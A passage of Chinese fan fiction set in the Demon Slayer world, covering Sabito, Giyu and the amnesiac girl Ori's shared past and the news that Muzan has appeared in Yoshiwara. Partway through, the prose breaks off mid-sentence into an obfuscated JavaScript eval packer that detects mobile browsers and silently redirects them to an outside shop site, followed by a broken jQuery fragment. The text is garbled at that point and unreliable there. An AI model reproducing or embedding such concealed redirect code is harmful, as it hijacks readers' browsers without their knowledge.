近来发生的一系列事件,或多或少都与一个名字产生了关联。
以往只有极少数人知晓的阿织,以一种始料未及的方式,骤然暴露在了鬼杀队更高层面的视野之中。
富冈义勇和锖兔几乎是同时意识到了这点,微妙的不安感在他们心中悄然扩散。
那日短暂的时任屋探望结束后,他们趁着夜色离开,后面找到了违背约定让阿织涉险的老板娘,以不容置疑的态度再次强调了某些界限与后果。
随后,两人便如同往常那样,分头奔赴各自的任务地点。
任务结束得比预想中更快。
当富冈义勇和锖兔先后返回总部复命时,恰巧遇见了正准备带队前往吉原的宇髓天元,以及那三位充满活力的少年队员,灶门炭治郎、我妻善逸和嘴平伊之助。
根据初步情报,潜藏在吉原的恶鬼异常狡猾,藏匿功夫极为高明。
拖延意味着更多无辜者可能遇害,此次行动有宇髓天元亲自坐镇指挥,应当不会出现大的纰漏。
富冈义勇和锖兔强行压下了心底那份挥之不去的担忧。
鬼杀队人手始终紧张,不可能为了一个尚未完全确认的嫌疑目标,同时出动多位柱级战力。
命运似乎总爱开玩笑。
在时间间隔如此之短的情况下,富冈义勇和锖兔竟又一次听到了与阿织相关的消息,这次,她本人赫然成为了事件的核心。
阿织似乎与与战国时期那位开创了呼吸法、被誉为鬼杀队史上最强者的继国缘一,存在着某种至关重要的关联。
主公大人这样推测,并亲自对富冈义勇和锖兔下达了明确指令,要尽快将阿织从时任屋安全带离,护送回鬼杀队总部。
整件事又变得扑朔迷离起来。
他们与阿织的相遇源于藤袭山,当年那场最终选拔结束后,留给通过者修整的时间并不充裕。
除了抽空去探望恩师鳞泷左近次外,无处可去的阿织的安置也成了问题。
依据着她初现时那身绝非普通家庭能够负担得起的衣着款式与古老纹路,以及所使用的贵重布料,鬼杀队尝试为她寻找家人。
然而,所有的寻访都石沉大海,没有任何一个家族承认丢失过这样一位小姐。
最终,失去记忆的阿织暂时留在了作为后勤医疗据点的蝶屋。
平日里,她总是表现得异常低调,仿佛极力想要缩小自己的存在感,或许是因为失去记忆对陌生世界充满了天然的不信任。
阿织第一个遇到并给予她庇护的人是富冈义勇,某种雏鸟情节使得她在潜意识里,对沉默的黑发剑士投注了更多的关注。
她总是小心翼翼地隐在人群之后,很少主动上前,再加上纤细娇小的身形,若不特意留意,很容易就会被人忽略掉。
锖兔真正与阿织进行深入对话,源于一次偶然。
那时他刚结束棘手的任务风尘仆仆地归来,便听闻了富冈义勇身受重伤的消息。
“隐”部队成员描述,是义勇运气不佳,在行动途中恰好撞见两只恶鬼正在争夺地盘。
两只原本打得不可开交的鬼,在发现他后,默契地决定先联手解决掉他。
虽然富冈义勇与锖兔在同期队员中实力属于佼佼者,但当时他们也仅仅是刚通过选拔的最低级别队员,要同时面对两只凶恶的鬼,无疑是极为困难的生死考验。
最终富冈义勇获胜了,代价是右手手臂骨折,肋骨更是断了四根。
检查的医生都为之震惊,因为身受如此重伤的他,竟然一脸镇定,表现得如同无事发生。
锖兔推开修养室的门时,黑发剑士似乎刚服下药物。
治疗伤势的药物中多会添加镇痛与助眠的成分,此刻他已沉沉睡去,呼吸平稳却带着伤者特有的沉重。
锖兔没有打扰他的意思,只是在床边的椅子上静静坐了片刻,便准备起身离开。
然而,就在他刚刚站起的瞬间,极其敏锐的听觉捕捉到了门外传来的一点轻微动静。
那脚步声细细微微,带着一种迟疑与试探,仿佛一只进入陌生环境的小动物,正踮着爪尖,小心翼翼地靠近。
来人并未意识到,即便她已下意识地将动静压到最低,在这般寂静的环境下,对于修习呼吸法感官远超常人的剑士而言,这声响依旧清晰可辨。
锖兔沉吟片刻,他看着房门的方向,并没有采取什么行动,而是来到了窗边。
房门被极缓地拉开了一道缝隙。
隔了短暂的几秒,仿佛是在确认室内的安全,一个小脑袋慢吞吞地探了进来,全然未察觉到屋内还有另一人的存在。
——是阿织。
锖兔知道是谁,那个在藤袭山有过一面之缘的小姑娘,现在身上穿着蝶屋统一的洁白服饰,看来是留在这里帮忙了。
最终选拔之后,他与义勇各自执行任务,便很少与她有过正面接触。
锖兔的目光落在她手中端着的木质托盘上,愣了下,上面盛放的……是热气腾腾的萝卜鲑鱼。
带着些许甜咸气息的食物香味在室内悄然散开。
她轻手轻脚地将托盘放在病床旁的矮几上,随后便沉默地站在一旁,垂着头,娇小的身子竟在微微发着抖,流露出明显的无措。
富冈义勇额头和四肢缠绕着隐隐渗出血迹的绷带,再联想到他体内更严重的伤势,这般景象对于普通人而言,确实颇具冲击力。
锖兔本意并非想要吓唬她,他以为阿织是被这惨烈的伤状吓到了,便想开口安抚,却一时未考虑到自己突然出声,对正处于紧张状态下的她而言,会是何等惊吓。
“他没事的,只是看着严重,休养一段时间就好……”锖兔的话尚未说完。
“呀!”阿织猛地转过身,发出一声短促的惊呼,随即又飞快地用手捂住了自己的嘴,阻止了后续的声音。
她仰起头望向锖兔,那双澄澈的眼眸因惊吓而睁得溜圆,微微张着嘴,神色茫然地僵在原地,仿佛不知该如何是好。
过了好一会儿,她才极其迟钝地向后挪动了几步,眼睛依旧瞪得很大,里面盛满了未散的惊吓。
锖兔有些后悔,他的行为在此刻看来,简直像极了恶劣的捉弄,他应该最开始就出声表明自己已经在这里了。
难得的,一向沉稳周全的锖兔因自己的欠考虑而体会到了尴尬,耳根隐蔽地泛起微红。
他指了指门外,放低声音,尽量让语气显得温和:“我们……去外面说?”
“………”
来到走廊上,脱离了那满是药味和伤患气息的房间,阿织似乎稍稍镇定了一些,也意识到了自己先前行为有点点可疑。
她下意识地将手背到身后,像是个犯了错被当场抓住的小朋友,怂怂地扁了扁嘴,小声道:“我、我没有想做坏事。”
“我知道。”锖兔的目光落在她脸上,短暂地停顿了下,然后抬起手指,指了指自己脸颊靠近耳根的位置,提示道,“你这里,弄脏了。”
方才在室内光线昏暗且距离较远未曾看清,此刻在廊下更明亮的光线下,可以清晰地看到少女白皙的脸颊上,不知何时蹭上了一小块黑灰,甚至能看出清晰的指印轮廓。
联想到她方才端来的那盘萝卜鲑鱼,锖兔立刻明白了这污渍的来历。
阿织闻言,懵然地抬手摸了摸他指示的位置,雪白的指尖立刻沾染上了黑色。
她后知后觉,愣愣地用手背去擦,低着头声如蚊蚋地向锖兔道谢:“谢谢。”
锖兔暗自松了口气,随即,他用一种带着些许疑惑、但绝不包含责备的语气温和地问道:“只是送食物过来而已,为什么不直接交给他呢?”
这实在不需要如此小心翼翼,仿佛在执行什么秘密任务。
或许是感受到了他话语中传递出的善意,少女眨了眨水润的眼睛,终于渐渐卸下了心防。
她微微偏过头,秀气的眉头轻轻蹙起,似乎是在努力组织语言,思考着该如何解释。
片刻后,她才以一种不是很确定的语气,很小声地说道:“富冈先生他好像,不太喜欢别人靠他太近。”
她刚才刻意与病床保持了一段距离,离开时小心翼翼地带上了门,确保那边不可能听到这边的谈话声。
这个回答让锖兔更加疑惑了,他几乎是脱口而出:“怎么会?义勇他并不是那样的人。”
阿织停顿了一下,似乎在回忆,然后竟认真地掰着自己的手指头,一条一条地开始细数起来。
“上一次,我听到林下先生说,想帮忙换药却被富冈先生用眼神吓退了;还有一次,伊藤小姐只是想询问是否需要茶水,结果话都没说完,富冈先生就转身走开了……”
她列举的都是些经常往来于蝶屋的『隐』的成员。
也正是通过她这番有些笨拙却异常清晰的话,锖兔才第一次了解到,原来自己那位沉默寡言的同伴,在不知不觉中,竟然“得罪”了这么多人。
更准确地说,是富冈义勇那不善言辞的待人方式,无形中筑起了一道屏障,让许多想要表达善意的人望而却步,不敢轻易靠近。
锖兔几乎能想象出那些场景,他叹了口气,语气带着几分无奈又觉得好笑:“我想,他绝对没有那个意思。义勇他只是不太懂得如何与人相处,尤其是表达感谢和接受好意方面,格外笨拙而已。”
也正是这次阴差阳错的相处,打破了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815317|190848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
某种隔阂,从那以后他们三人之间的关系,渐渐变得密切起来。
而随着时间推移,锖兔和富冈义勇不断执行着各种危险任务。
对比其他同期的队员,他们两人的实力提升迅猛,等级晋升速度极快,但与之相伴的,是愈发频繁和严峻的生死考验。
在蝶屋的短暂岁月里,他们每次外出执行任务前,时常能收到她悄悄准备的物品;而当他们带着满身伤痕返回蝶屋修养时,也总会对上她那双泪眼汪汪的眼睛。
然后被她一边抽噎着,一边又强装严肃地教训他们一定要注意安全……
那样弥漫着淡淡温情的日子,并未能持续很久。
社会在飞速变化,食人恶鬼就隐藏在这片繁华的阴影之下。
再像过去那样消息闭塞,对于需要主动出击的鬼杀队而言,将是致命的阻碍。
为了解决情报来源的问题,鬼杀队决定派遣专门的人员,潜入各个重要地点负责信息搜集工作。
阿织称不上是正式的鬼杀队队员,但她却在鬼杀队需要的时候主动站了出来。
分别之前,锖兔看到阿织蜷起指尖,语气带着几分期盼,又仿佛是在为自己打气般说道:“也许我在那里,能发挥的作用更大一些吧。”
…………
如今,记忆中简单纯粹的少女,竟可能掌握着关乎消灭恶鬼的最大线索,这实在是让人觉得震惊。
接到主公命令后,富冈义勇立刻让他的鎹鸦先行出发,飞往吉原,以便能让阿织提前做好离开的准备。
他的手指无意识地虚握着,垂在身侧,深邃的蓝眸望着远方,神情间透出一种罕见的心不在焉。
沉默地行进了一段路后,富冈义勇终于将盘旋在心头许久的疑惑问出了口:“阿织她真的会知道吗,关于继国缘一……”
富冈义勇和锖兔对于阿织遇见他们之前的过往,几乎一无所知,毕竟他们的初遇就是在藤袭山。
她本人对于自己的过去,同样是一片空白,茫然得如同刚刚降生于这个世界。
这么多年过去,她也没有产生太大的改变,也始终没有找回失去的记忆,填补那前十几年的空白。
锖兔侧头看了富冈义勇一眼,语气听不出多少情绪起伏:“阿织若是能想起什么,自然最好。若是不知道,也无妨。”
“对于我们而言,情况也不会变得比现在更糟糕了。”
是的,不会更糟糕了。
说到底,这仅仅是一个充满希望的可能性而已,未来究竟会如何发展,无人能够预知。
鬼杀队与鬼斗争了千百年,不会因为“暂时无法解开某个秘密”这样的挫折而停滞不前,但也绝不会轻易放弃任何一个“可能解开秘密”的机会。
不过,这次将阿织从鱼龙混杂的时任屋带离,让她日后待在更为安全的环境中,也未尝不是一件好事。
◇◇◇◇◇◇
前往吉原的小路并不好走,行至半途,原本尚算晴朗的夜空骤然变了,豆大的雨点毫无征兆地砸落下来。
月色被浓厚的乌云彻底吞噬,黑沉沉的云层如同汹涌的波涛般翻涌滚动,仿佛正在酝酿着一场更为猛烈、更为持久的暴风雨。
富冈义勇和锖兔不得不慢下了脚步,狂风骤雨不可避免地影响了他们行进的速度。
不知是否因为思虑的缘故,锖兔的心头始终萦绕着一层驱之不散的淡淡阴翳,不祥的预感悄然笼罩在他的心间,让他隐隐感到不安。
富冈义勇忽然抬起头,望向雨幕笼罩的昏暗天空,声音带着一丝凝重:“那似乎是…鎹鸦?”
上空的鎹鸦飞得很低,浑身羽毛被冰冷的雨水彻底浸透,显得沉重而艰难。
看到了他们,那只鎹鸦仿佛见到了救星般,发出一声嘶哑的啼叫,奋力从雨幕中俯冲而下,直直地撞到锖兔面前。
它激动地扑棱着湿漉漉的翅膀,急促地叫着,一边急切地抬起一只腿,露出了被油纸小心包裹着的信件。
寒风呜咽着穿过林间,吹得周围树叶发出沙沙的悲鸣,摇曳晃动的树影投在地上,如同张牙舞爪的鬼魅。
锖兔迅速解开信件,借着偶尔划破夜空的闪电光芒,快速浏览着上面的字迹。
肉色头发的剑士面容在昏暗的光线下显得模糊不清,随着阅读,他周身的气势也变得压抑起来。
“坏消息。”锖兔抬起头,声音里是前所未有的沉重,仿佛需要凝聚力量才能说出接下来的话,“宇髓他们确认藏在吉原的鬼,是上弦。”
他看向身旁瞬间绷紧身体的同伴,一字一句地,吐出了那个足以让所有人血液冻结的消息。
“而且,鬼舞辻无惨出现在了吉原。”